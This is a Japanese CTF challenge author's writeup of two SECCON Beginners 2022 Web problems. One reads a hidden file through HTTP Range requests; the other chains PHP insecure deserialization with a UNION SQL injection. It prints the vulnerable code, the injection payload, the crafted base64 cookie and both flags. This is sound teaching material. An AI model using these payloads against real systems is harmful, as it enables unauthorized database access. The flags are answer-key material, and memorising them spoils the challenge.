はじめに
6月5日14:00から24時間で初心者向けのSECCON Beginners CTF 2022を開催しました。
私はWeb問題を2問作問したので、それらの問題のwriteupを公開します。
いずれも参加者に知識を習得してほしかったため、私が担当した問題では Flag 取得までのヒントは問題文やコメントで多めに提示しておいたつもりです。
他の作問者writeups
作問者Writeup以外も解法は存在します。解は1つだけではないので、Twitterの#ctf4bツイート を各自追ってください
- Web
- Misc
- Pwnable
- BeginnersBof/raindrop/snowdrop/simplelist
- Monkey Heap
-
House of Husk, House of Banana, House of Emma等でシェルを取る
だそうです
-
- Reversing
- Quiz/Recursive/Ransom
- please_not_debug_me
- WinTLS(ないです)
- Crypto
[Web 83pt] gallery(156 solves)
隠された Flag を見つけ、サイズ制限のあるFlagを取得する問題です。HTTP Range Requests を意外と知らない人がいたので作問しました。
問題文
絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?
仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?
https://gallery.quals.beginners.seccon.jp
gallery.tar.gz a1179b888f1026f9319c859d6711a3300886f610
解法
アクセスすると、Query Parameter で指定された拡張子のファイルが表示されるページであることがわかります。
とりあえず .
や %2e
を入れてみますが、通りません。
ソースコードを見ると、file_extension
で指定された文字列を含むファイル以外を表示しない仕様であることが分かります。
// filtered by the fileExtension
if !strings.Contains(file.Name(), fileExtension) {
continue
}
問題文に
え?ギャラリーの中に flag という文字列を見かけた?
とあるので、ファイル名には f
, l
, a
, g
のどれかの文字は含まれていそうです。
従って、 https://gallery.quals.beginners.seccon.jp/?file_extension=f
に GET リクエストをすると flag と思しきファイルが露出します。
しかし、https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
にアクセスするとファイルサイズが大きすぎて、 ?
で上書きされていることがわかります。
サイズ制限をスルーするために、HTTP Range Requests を用います。
HTTP Range Requests については、Mozilla や RFC7233 をご覧ください。
サイズ制限は、以下のソースコードの通り 10240 [bytes] なので、
// main.go
func (w *MyResponseWriter) Write(data []byte) (int, error) {
filledVal := []byte("?")
length := len(data)
if length > w.lengthLimit {
w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
return length, nil
}
w.ResponseWriter.Write(data[:length])
return length, nil
}
return func(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
h.ServeHTTP(&MyResponseWriter{
ResponseWriter: rw,
lengthLimit: 10240, // SUPER SECURE THRESHOLD
}, r)
})
}
0-10230 [bytes] の範囲でリクエストします。
curl -X GET -H 'Range: bytes=0-10239' http://localhost/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf --output - > 0.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 10240 0 10240 0 0 1111k 0 --:--:-- --:--:-- --:--:-- 1111k
10240 [bytes] しっかり全部取れているので、次のchunkをみます。
curl -X GET -H 'Range: bytes=10240-20479' http://localhost/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf --output - > 1.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5845 0 5845 0 0 815k 0 --:--:-- --:--:-- --:--:-- 815k
5845 [bytes] なので、これで全てであることがわかります。
catで結合します。
cat 0.pdf 1.pdf > ans.pdf
結合したpdfを見ると、以下の通りFlagが得られます。
ctf4b{r4nge_reque5t_1s_u5efu1!}
[Web 109pt] serial(83 solves)
Insecure Deserialization と UNION SQL Injection を問いたかった問題です。
Insecure Deserialization の手段として、PHP と Java が利用できます。しかし、Java は自分でソースコードから Serialized Object を生成する必要があり、言語的な理解が必要とされるため今回は PHP を選定しました。
問題文
フラッグは flags テーブルの中にあるよ。ゲットできるかな?
https://serial.quals.beginners.seccon.jp
serial.tar.gz 4fc156278675123824c73e65d65496e9a8aa1cf1
解法
配布された PHP ファイルを見ると、露骨に脆弱性のある以下のメソッドが提示されています。
// database.php
/**
* findUserByName finds a user from database by given userId.
*
* @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
*/
public function findUserByName($user = null)
{
if (!isset($user->name)) {
throw new Exception('invalid user name: ' . $user->user);
}
$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);
if (!$result) {
throw new Exception('failed query for findUserByNameOld ' . $sql);
}
while ($row = $result->fetch_assoc()) {
$user = new User($row['id'], $row['name'], $row['password_hash']);
}
return $user;
}
中盤の $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
の $user->name
に対して Union SQL Injection を適用することで Flag が取れそうです。配布ファイルの中にデータベースの初期化 SQL ファイルも含まれているので flags テーブルのカラム数と型は自明です。
Union SQL Injection を実現するペイロードとしては、以下のようなもので良いでしょう。
' UNION SELECT 'hoge', body, '$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6' FROM flags --
これを実現したいのですが、この $user
インスタンスの生成は User class にまとめられており、
- UNION
- '
- FROM
- SELECT
- flag
のような文字列が利用できないようになっていたり、XSSができないようになっていたりするのがわかります。
// user.php
class User
{
private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");
public $id;
public $name;
public $password_hash;
public function __construct($id = null, $name = null, $password_hash = null)
{
$this->id = htmlspecialchars($id);
$this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
$this->password_hash = $password_hash;
}
// (snip)
}
この発想はセキュア・バイ・デザインによるもので、オブジェクトの生成を集約化することでセキュリティのリスクを集中させるようにしています。
ただし、以下の通りログイン時のunserialize()
を用いている部分でこのチェックをしていないため、この処理をバイパスすることができます。
// user.php
function login()
{
if (empty($_COOKIE["__CRED"])) {
return false;
}
$user = unserialize(base64_decode($_COOKIE['__CRED']));
// check if the given user exists
try {
$db = new Database();
$storedUser = $db->findUserByName($user);
} catch (Exception $e) {
die($e->getMessage());
}
// var_dump($user);
// var_dump($storedUser);
if ($user->password_hash === $storedUser->password_hash) {
// update stored user with latest information
// die($storedUser);
setcookie("__CRED", base64_encode(serialize($storedUser)));
return true;
}
return false;
}
ありがたいことに、取得した値は serialize 後に再度 Cookie に設定されるので、方針としては Cookie に flag を取得するような Union SQL Injection のペイロードを含めてリクエストをする ことで Flag を取得することとします。
したがって、次の SQL を User オブジェクトの name に挿入したいので、
' UNION SELECT 'hoge', body, '$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6' FROM flags --
Cookie に埋め込む値は、以下の
O:4:"User":3:{s:2:"id";s:1:"1";s:4:"name";s:106:"' UNION SELECT 'hoge', body, '$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6' FROM flags -- ";s:13:"password_hash";s:60:"$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6";}
を base64 encode した
Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjE6IjEiO3M6NDoibmFtZSI7czoxMDY6IicgVU5JT04gU0VMRUNUICdob2dlJywgYm9keSwgJyQyeSQxMCRNM25kMVRDQ1ppYm9BbDlZTnBIMlZ1ZmRIeE5wSnk1aHF3UDYwMWlzMjZiRUVMMW9NMFZjNicgRlJPTSBmbGFncyAtLSAiO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6NjA6IiQyeSQxMCRNM25kMVRDQ1ppYm9BbDlZTnBIMlZ1ZmRIeE5wSnk1aHF3UDYwMWlzMjZiRUVMMW9NMFZjNiI7fQ==
になります。
※ 2022/06/06 追記
今回の例ではパスワードハッシュに正しい値を入れていますが、こちらのコメント で指摘されている通り、その必要はありません。
@m2ku さん、ご指摘ありがとうございます。
これを Cookie に設定してリクエストすると以下の Cookie に変わっています。
Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6ImhvZ2UiO3M6NDoibmFtZSI7czo0MzoiY3RmNGJ7U2VyMTRsaXo0dDEwbl8xNV92MXJ0dWFsbHlfcGw0MW50ZXh0fSI7czoxMzoicGFzc3dvcmRfaGFzaCI7czo2MDoiJDJ5JDEwJE0zbmQxVENDWmlib0FsOVlOcEgyVnVmZEh4TnBKeTVocXdQNjAxaXMyNmJFRUwxb00wVmM2Ijt9
この Cookie の情報を URL Decode & Base64 decode すると以下の通り Flag が得られます。
O:4:"User":3:{s:2:"id";s:4:"hoge";s:4:"name";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:13:"password_hash";s:60:"$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6";}
ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}